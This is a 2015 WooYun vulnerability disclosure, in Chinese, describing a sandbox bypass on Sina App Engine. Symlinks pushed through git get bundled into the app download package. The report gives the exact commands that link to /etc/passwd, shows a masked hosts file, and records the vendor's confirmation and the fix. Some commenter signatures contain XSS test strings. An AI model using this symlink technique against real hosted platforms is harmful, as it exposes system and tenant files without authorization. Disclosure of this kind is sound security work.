当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0131911

漏洞标题：绕过新浪SAE沙盒读取系统任意文件

相关厂商：新浪

漏洞作者： phith0n

提交时间：2015-08-05 18:20

修复时间：2015-09-20 11:44

公开时间：2015-09-20 11:44

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-05： 细节已通知厂商并且等待厂商处理中
2015-08-06： 厂商已经确认，细节仅向厂商公开
2015-08-16： 细节向核心白帽子及相关领域专家公开
2015-08-26： 细节向普通白帽子公开
2015-09-05： 细节向实习白帽子公开
2015-09-20： 细节向公众公开

简要描述：

测试另一个洞，没注意被送了一个。。。定期打卡

详细说明：

类似这个洞，也是链接文件造成的沙盒绕过：
WooYun: 绕过新浪SAE沙盒读取系统任意文件
sae在应用打包下载的时候，会将链接文件所指向文件一起打包起来，导致绕过沙盒读取任意文件。
首先在git提交代码的时候，建立链接文件：

ln -s /etc/passwd passwd
git add .
git commit -m "123"
git push


应用页面有一处下载：

QQ20150805-1@2x.png


下载后解压缩，目标文件就躺在那里了：

QQ20150805-2@2x.png


包括hosts文件，比较敏感我就打码了。只要有权限即可下载，沙盒什么的都无视掉：

mask 区域 
*****.localdoma*****
*****0.svndepl*****
**********
*****master.*****
*****alert.sae*****
*****image.sae*****
*****igger.sae*****
*****igger.sae*****
*****orm.sae.s*****
*****eploy.sae*****
***** mail.sae*****
*****queue.sae*****
*****askqueue.sae*****
***** rank.sae*****
*****djob.sae.s*****
***** stor.sae*****
*****  log.sae*****
*****pvuip.sae*****
*****inter.sae*****
*****   s3.sae*****
*****otice.sae*****
*****   ms.sae*****
*****vcode.sae*****
***** diag.sae*****
*****  api.sae*****
*****eploy.sae*****
*****i.svn.sae*****
*****t.sws.sae*****
*****r.sws.sae*****
*****ect.tools.*****
*****annel.sae*****
**********
*****nitor.sae.*****
***** admin.sae*****
*****aemc.sae.s*****
**********
*****churl.sae*****
*****gment.sae*****
***** push.sae*****
*****aepush.sae*****
*****  fts.sae*****
**********
*****h.sws.sae*****
*****h.sws.sae*****
*****.sws.sae.s*****
*****.sws.sae.s*****
*****.sws.sae.s*****
*****n.sws.sae.*****
**********
*****odefs.sae*****
*****odefs.sae.*****
**********
*****  mcx.sae*****
*****.mail.sae*****
**********
*****m3307.sae*****
*****sql.sae.s*****
*****pmysql.sae*****
*****c.sae.sin*****
*****query.sae.*****
*****fetch.sae.*****
*****se.sae.si*****
*****oop.sae.s*****
*****amcx.sae.*****
**********
*****ysql.sae.s*****
*****mysql.sae.*****
*****mysql.sae.*****
*****6.sae.sin*****
*****6.sae.sin*****
*****i.sinacl*****
**********
**********
**********
**********
*****ger.sina*****
*****ck.sae.s*****
*****pi.sae.s*****
**********
**********
*****internal.sa*****

漏洞证明：

见上面。

修复方案：

禁止打包链接文件。

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-08-06 11:43

厂商回复：

感谢提醒，已经通知业务整改

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-05 18:21 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    机智！！

  2. 2015-08-05 18:22 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    聪明！！

  3. 2015-08-05 18:29 | 子墨 ( 普通白帽子 | Rank:194 漏洞数:22 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    大牛！膜拜~~~

  4. 2015-08-05 18:31 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    猥琐！！

  5. 2015-08-05 18:31 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    机智！！！

  6. 2015-08-05 18:48 | 土夫子 ( 普通白帽子 | Rank:173 漏洞数:41 | 逆流而上，顺势而为)

    666666

  7. 2015-08-05 19:02 | Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)

    然而

  8. 2015-08-05 20:12 | 大师兄 ( 路人 | Rank:6 漏洞数:3 | 每日必关注乌云)

    基制

  9. 2015-08-05 20:27 | Chinalover ( 路人 | Rank:16 漏洞数:4 | 你看得到我打在屏幕上的字，却看不到我落在...)

    给P神跪了

  10. 2015-08-05 20:40 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    ph师傅缺腿上的挂件吗？ 100多斤的那种

  11. 2015-08-05 20:59 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    故事是这样的

  12. 2015-08-05 21:23 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    事情是这样的

  13. 2015-08-05 22:05 | 王松_Striker ( 路人 | Rank:18 漏洞数:5 | 热衷于XSS,但毛都不会。安全盒子（www.se...)

    @sco4x0 4叔叔喜欢狗吗? 会敲代码的那种..

  14. 2015-08-06 10:20 | Code_Monkey ( 路人 | Rank:24 漏洞数:7 | Code Monkey think someday he have everyt...)

    大牛缺猴子请来的逗比么？ 会打代码的那种。

  15. 2015-08-07 09:37 | Comer ( 普通白帽子 | Rank:336 漏洞数:40 | 关注安全 | 关注智能漏洞挖掘)

    看来不是link的事儿~ @phith0n

  16. 2015-08-07 11:08 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    zip？？？

  17. 2015-09-20 11:46 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效，坚持好的习惯千万不要放弃)

    这个思路吊炸天啊